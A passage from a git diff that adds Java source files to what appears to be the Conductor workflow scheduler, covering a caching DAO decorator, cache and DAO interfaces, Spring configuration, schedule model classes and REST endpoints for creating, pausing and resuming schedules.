    All other methods (execution records, bulk queries, search) delegate directly. + */ +public class CachingSchedulerDAO implements SchedulerDAO { + + private final SchedulerDAO delegate; + private final SchedulerCacheDAO cache; + + public CachingSchedulerDAO(SchedulerDAO delegate, SchedulerCacheDAO cache) { + this.delegate = delegate; + this.cache = cache; + } + + @Override + public void updateSchedule(WorkflowScheduleModel workflowSchedule) { + cache.updateSchedule(workflowSchedule); + delegate.updateSchedule(workflowSchedule); + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + WorkflowScheduleModel cached = cache.findScheduleByName(name); + if (cached != null) { + return cached; + } + return delegate.findScheduleByName(name); + } + + @Override + public void deleteWorkflowSchedule(String name) { + cache.deleteWorkflowSchedule(name); + delegate.deleteWorkflowSchedule(name); + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + return cache.getNextRunTimeInEpoch(scheduleName); + } + + @Override + public void setNextRunTimeInEpoch(String name, long toEpochMilli) { + cache.setNextRunTimeInEpoch(name, toEpochMilli); + } + + // -- Pure delegation (no caching) ----------------------------------------- + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel executionModel) { + delegate.saveExecutionRecord(executionModel); + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + return delegate.readExecutionRecord(executionId); + } + + @Override + public void removeExecutionRecord(String executionId) { + delegate.removeExecutionRecord(executionId); + } + + @Override + public List findAllSchedules(String workflowName) { + return delegate.findAllSchedules(workflowName); + } + + @Override + public List getPendingExecutionRecordIds() { + return delegate.getPendingExecutionRecordIds(); + } + + @Override + public List getAllSchedules() { + return delegate.getAllSchedules(); + } + + @Override + public Map findAllByNames(Set workflowScheduleNames) { + return delegate.findAllByNames(workflowScheduleNames); + } + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + return delegate.searchSchedules( + workflowName, scheduleName, paused, freeText, start, size, sortOptions); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/NoOpSchedulerCacheDAO.java b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/NoOpSchedulerCacheDAO.java new file mode 100644 index 0000000..91483c3 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/NoOpSchedulerCacheDAO.java @@ -0,0 +1,46 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.dao.scheduler; + +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * No-op implementation of {@link SchedulerCacheDAO} that always reports a cache miss. Used as the + * default when no external cache (e.g. Redis) is configured. + */ +public class NoOpSchedulerCacheDAO implements SchedulerCacheDAO { + + @Override + public void updateSchedule(WorkflowScheduleModel workflowSchedule) {} + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + return null; + } + + @Override + public boolean exists(String name) { + return false; + } + + @Override + public void deleteWorkflowSchedule(String name) {} + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + return -1L; + } + + @Override + public void setNextRunTimeInEpoch(String scheduleName, long epochMilli) {} +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerCacheDAO.java b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerCacheDAO.java new file mode 100644 index 0000000..b179107 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerCacheDAO.java @@ -0,0 +1,30 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.dao.scheduler; + +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +public interface SchedulerCacheDAO { + + void updateSchedule(WorkflowScheduleModel workflowSchedule); + + WorkflowScheduleModel findScheduleByName(String name); + + boolean exists(String name); + + void deleteWorkflowSchedule(String name); + + long getNextRunTimeInEpoch(String scheduleName); + + void setNextRunTimeInEpoch(String scheduleName, long epochMilli); +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerDAO.java b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerDAO.java new file mode 100644 index 0000000..31970d0 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerDAO.java @@ -0,0 +1,58 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.dao.scheduler; + +import java.util.List; +import java.util.Map; +import java.util.Set; + +import com.netflix.conductor.common.run.SearchResult; + +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +public interface SchedulerDAO { + + void updateSchedule(WorkflowScheduleModel workflowSchedule); + + void saveExecutionRecord(WorkflowScheduleExecutionModel executionModel); + + WorkflowScheduleExecutionModel readExecutionRecord(String executionId); + + void removeExecutionRecord(String executionId); + + WorkflowScheduleModel findScheduleByName(String name); + + List findAllSchedules(String workflowName); + + void deleteWorkflowSchedule(String name); + + List getPendingExecutionRecordIds(); + + List getAllSchedules(); + + Map findAllByNames(Set workflowScheduleNames); + + long getNextRunTimeInEpoch(String scheduleName); + + void setNextRunTimeInEpoch(String name, long toEpochMilli); + + SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions); +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/health/RedisMonitor.java b/scheduler/core/src/main/java/io/orkes/conductor/health/RedisMonitor.java new file mode 100644 index 0000000..3e0ace6 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/health/RedisMonitor.java @@ -0,0 +1,22 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.health; + +public interface RedisMonitor { + + int getUsagePercentage(); + + boolean isMemoryCritical(); + + int getMemoryUsage(); +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerConditions.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerConditions.java new file mode 100644 index 0000000..a09fda1 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerConditions.java @@ -0,0 +1,30 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +public class SchedulerConditions extends AllNestedConditions { + + public SchedulerConditions() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.scheduler.enabled", + havingValue = "true", + matchIfMissing = false) + static class SchedulerEnabled {} +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerOssConfiguration.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerOssConfiguration.java new file mode 100644 index 0000000..81a083a --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerOssConfiguration.java @@ -0,0 +1,98 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.config; + +import java.util.Optional; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; + +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.service.WorkflowService; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.CachingSchedulerDAO; +import io.orkes.conductor.dao.scheduler.NoOpSchedulerCacheDAO; +import io.orkes.conductor.dao.scheduler.SchedulerCacheDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.health.RedisMonitor; +import io.orkes.conductor.scheduler.listener.ScheduleChangeListener; +import io.orkes.conductor.scheduler.listener.ScheduleChangeListenerStub; +import io.orkes.conductor.scheduler.service.SchedulerService; +import io.orkes.conductor.scheduler.service.SchedulerServiceExecutor; +import io.orkes.conductor.scheduler.service.SchedulerTimeProvider; + +@Configuration +@Conditional(SchedulerConditions.class) +public class SchedulerOssConfiguration { + + @Bean + @ConditionalOnMissingBean(SchedulerCacheDAO.class) + public SchedulerCacheDAO noOpSchedulerCacheDAO() { + return new NoOpSchedulerCacheDAO(); + } + + @Bean + @Primary + @ConditionalOnProperty( + name = "conductor.scheduler.cache.enabled", + havingValue = "true", + matchIfMissing = false) + public SchedulerDAO cachingSchedulerDAO( + SchedulerDAO schedulerDAO, SchedulerCacheDAO schedulerCacheDAO) { + return new CachingSchedulerDAO(schedulerDAO, schedulerCacheDAO); + } + + @Bean + @ConditionalOnMissingBean(SchedulerService.class) + public SchedulerService schedulerService( + SchedulerArchivalDAO schedulerArchivalDAO, + SchedulerDAO schedulerDAO, + WorkflowService workflowService, + QueueDAO queueDAO, + SchedulerServiceExecutor schedulerServiceExecutor, + Optional redisMaintenanceDAO, + SchedulerProperties properties, + SchedulerTimeProvider schedulerTimeProvider, + Lock lock, + ObjectMapper objectMapper, + ScheduleChangeListener scheduleChangeListener) { + return new SchedulerService( + schedulerArchivalDAO, + schedulerDAO, + workflowService, + queueDAO, + schedulerServiceExecutor, + redisMaintenanceDAO, + properties, + schedulerTimeProvider, + lock, + objectMapper, + scheduleChangeListener); + } + + @Bean + @ConditionalOnProperty( + name = "conductor.schedule-change-listener.type", + havingValue = "stub", + matchIfMissing = true) + public ScheduleChangeListener scheduleChangeListener() { + return new ScheduleChangeListenerStub(); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerProperties.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerProperties.java new file mode 100644 index 0000000..4b297ba --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerProperties.java @@ -0,0 +1,48 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Configuration; + +import lombok.Getter; +import lombok.Setter; + +@Configuration +@ConfigurationProperties("conductor.scheduler") +@Getter +@Setter +public class SchedulerProperties { + + private int pollingThreadCount = 1; + private int archivalThreadCount = 2; + private String schedulerTimeZone = "UTC"; + + private int pollingInterval = 100; + private int pollBatchSize = 5; + private int archivalPollBatchSize = 5; + + private int archivalMaintenanceIntervalRecordCount = 5000; + private int archivalMaintenanceLockSeconds = 600; + private int archivalMaintenanceLockTrySeconds = 1; + private int archivalMaxRecords = 5; + private int archivalMaxRecordThreshold = 10; + private int maxScheduleJitterMs = 1000; + private long initialDelayMs = 15000; + + private int userCacheExpireAfterWriteSeconds = 120; + private int userCacheMaxSize = 1000; + + /** When true, the scheduler uses an external {@code SchedulerCacheDAO} for hot-path lookups. */ + private boolean cacheEnabled = false; +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListener.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListener.java new file mode 100644 index 0000000..6bee500 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListener.java @@ -0,0 +1,29 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.listener; + +import io.orkes.conductor.scheduler.model.WorkflowSchedule; + +/** Listener for changes to workflow schedule registrations. */ +public interface ScheduleChangeListener { + + default void onScheduleRegistered(WorkflowSchedule schedule) {} + + default void onScheduleUpdated(WorkflowSchedule schedule) {} + + default void onScheduleDeleted(String name) {} + + default void onSchedulePaused(WorkflowSchedule schedule) {} + + default void onScheduleResumed(WorkflowSchedule schedule) {} +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListenerStub.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListenerStub.java new file mode 100644 index 0000000..3de42d6 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListenerStub.java @@ -0,0 +1,49 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.listener; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import io.orkes.conductor.scheduler.model.WorkflowSchedule; + +/** Stub listener default implementation. Logs each schedule change at debug level. */ +public class ScheduleChangeListenerStub implements ScheduleChangeListener { + + private static final Logger LOGGER = LoggerFactory.getLogger(ScheduleChangeListenerStub.class); + + @Override + public void onScheduleRegistered(WorkflowSchedule schedule) { + LOGGER.debug("Schedule {} registered", schedule.getName()); + } + + @Override + public void onScheduleUpdated(WorkflowSchedule schedule) { + LOGGER.debug("Schedule {} updated", schedule.getName()); + } + + @Override + public void onScheduleDeleted(String name) { + LOGGER.debug("Schedule {} deleted", name); + } + + @Override + public void onSchedulePaused(WorkflowSchedule schedule) { + LOGGER.debug("Schedule {} paused", schedule.getName()); + } + + @Override + public void onScheduleResumed(WorkflowSchedule schedule) { + LOGGER.debug("Schedule {} resumed", schedule.getName()); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/CronSchedule.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/CronSchedule.java new file mode 100644 index 0000000..806a982 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/CronSchedule.java @@ -0,0 +1,35 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.model; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.EqualsAndHashCode; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import lombok.ToString; + +@Getter +@Setter +@ToString +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode +@Builder +public class CronSchedule { + + private String cronExpression; + + @Builder.Default private String zoneId = "UTC"; +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/NextScheduleResult.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/NextScheduleResult.java new file mode 100644 index 0000000..71f8b8c --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/NextScheduleResult.java @@ -0,0 +1,35 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.model; + +import java.time.ZonedDateTime; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +@Getter +@AllArgsConstructor +public class NextScheduleResult { + + private final ZonedDateTime nextRunTime; + + private final String zoneId; + + public static NextScheduleResult of(ZonedDateTime nextRunTime, String zoneId) { + return new NextScheduleResult(nextRunTime, zoneId); + } + + public boolean hasNextRunTime() { + return nextRunTime != null; + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowSchedule.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowSchedule.java new file mode 100644 index 0000000..e4bcb87 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowSchedule.java @@ -0,0 +1,109 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.model; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonProperty; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.EqualsAndHashCode; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import lombok.ToString; + +@Getter +@Setter +@ToString +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode +@Builder +public class WorkflowSchedule { + + private String name; + private String cronExpression; + private boolean runCatchupScheduleInstances; + private boolean paused; + private String pausedReason; + @EqualsAndHashCode.Exclude private StartWorkflowRequest startWorkflowRequest; + @Builder.Default private String zoneId = "UTC"; + + /** + * List of cron schedules for multi-expression configuration. When this list is not empty, it + * takes priority over the single cronExpression/zoneId fields. Each entry in the list can have + * its own cron expression and timezone. If a timezone is not specified for an entry, UTC is + * used as the default. + */ + @Setter(lombok.AccessLevel.NONE) + @Getter(lombok.AccessLevel.NONE) + private List cronSchedules; + + @JsonProperty("cronSchedules") + public List getCronSchedules() { + return cronSchedules != null ? cronSchedules : new ArrayList<>(); + } + + @JsonProperty("cronSchedules") + public void setCronSchedules(List cronSchedules) { + if (cronSchedules == null) { + this.cronSchedules = new ArrayList<>(); + } else { + // mutable + this.cronSchedules = new ArrayList<>(cronSchedules); + } + } + + private Long scheduleStartTime; + private Long scheduleEndTime; + + private Long createTime; + private Long updatedTime; + private String createdBy; + private String updatedBy; + private String description; + private Long nextRunTime; + + /** + * Returns the effective list of cron schedules. If cronSchedules list is not empty, returns + * that list. Otherwise, returns a single-element list with the cronExpression and zoneId from + * this schedule. + * + * @return list of effective cron schedules, never null + */ + @JsonIgnore + public List getEffectiveCronSchedules() { + if (cronSchedules != null && !cronSchedules.isEmpty()) { + return cronSchedules; + } + if (cronExpression != null) { + return Collections.singletonList( + CronSchedule.builder() + .cronExpression(cronExpression) + .zoneId(zoneId != null ? zoneId : "UTC") + .build()); + } + return Collections.emptyList(); + } + + @JsonIgnore + public boolean hasMultipleCronSchedules() { + return cronSchedules != null && !cronSchedules.isEmpty(); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleExecutionModel.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleExecutionModel.java new file mode 100644 index 0000000..5a0a657 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleExecutionModel.java @@ -0,0 +1,49 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.model; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import lombok.*; + +@Getter +@Setter +@ToString +@NoArgsConstructor +@AllArgsConstructor +public class WorkflowScheduleExecutionModel { + + public enum State { + POLLED, + FAILED, + EXECUTED; + } + + private String executionId; + private String scheduleName; + private Long scheduledTime; + private Long executionTime; + private String workflowName; + private String workflowId; + private String reason; + private String stackTrace; + private StartWorkflowRequest startWorkflowRequest; + private State state; + private String zoneId = "UTC"; + + @JsonIgnore + public String getQueueMsgId() { + return executionId; + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleModel.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleModel.java new file mode 100644 index 0000000..99b9e7a --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleModel.java @@ -0,0 +1,37 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.model; + +import org.springframework.beans.BeanUtils; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import lombok.*; + +@Getter +@Setter +@NoArgsConstructor +@ToString(callSuper = true) +@EqualsAndHashCode(callSuper = true) +public class WorkflowScheduleModel extends WorkflowSchedule { + + public static WorkflowScheduleModel from(WorkflowSchedule schedule) { + WorkflowScheduleModel model = new WorkflowScheduleModel(); + BeanUtils.copyProperties(schedule, model); + return model; + } + + @JsonIgnore + public String getQueueMsgId() { + return getName(); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerBulkResource.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerBulkResource.java new file mode 100644 index 0000000..4c3dcd8 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerBulkResource.java @@ -0,0 +1,60 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.rest; + +import java.util.List; + +import org.springframework.context.annotation.Conditional; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.model.BulkResponse; + +import io.orkes.conductor.scheduler.config.SchedulerConditions; +import io.orkes.conductor.scheduler.service.SchedulerBulkService; +import io.swagger.v3.oas.annotations.Operation; +import io.swagger.v3.oas.annotations.tags.Tag; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +/** + * Bulk APIs to pause and resume schedules in batches. + * + *

    All endpoints are relative to {@code /api/scheduler/bulk}. + */ +@RestController +@Conditional(SchedulerConditions.class) +@RequestMapping("/api/scheduler/bulk") +@Tag(name = "Scheduler Bulk", description = "Bulk scheduler operations") +public class SchedulerBulkResource { + + private final SchedulerBulkService schedulerBulkService; + + public SchedulerBulkResource(SchedulerBulkService schedulerBulkService) { + this.schedulerBulkService = schedulerBulkService; + } + + @PutMapping(value = "/pause", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Pause the list of schedules") + public BulkResponse pauseSchedules(@RequestBody List scheduleNames) { + return schedulerBulkService.pauseSchedules(scheduleNames); + } + + @PutMapping(value = "/resume", produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Resume the list of schedules") + public BulkResponse resumeSchedules(@RequestBody List scheduleNames) { + return schedulerBulkService.resumeSchedules(scheduleNames); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerResource.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerResource.java new file mode 100644 index 0000000..610ae82 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerResource.java @@ -0,0 +1,198 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.rest; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import org.springframework.context.annotation.Conditional; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.run.SearchResult; + +import io.orkes.conductor.scheduler.config.SchedulerConditions; +import io.orkes.conductor.scheduler.model.WorkflowSchedule; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.service.SchedulerService; +import io.swagger.v3.oas.annotations.Operation; +import io.swagger.v3.oas.annotations.tags.Tag; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +/** + * REST API for workflow scheduling. + * + *

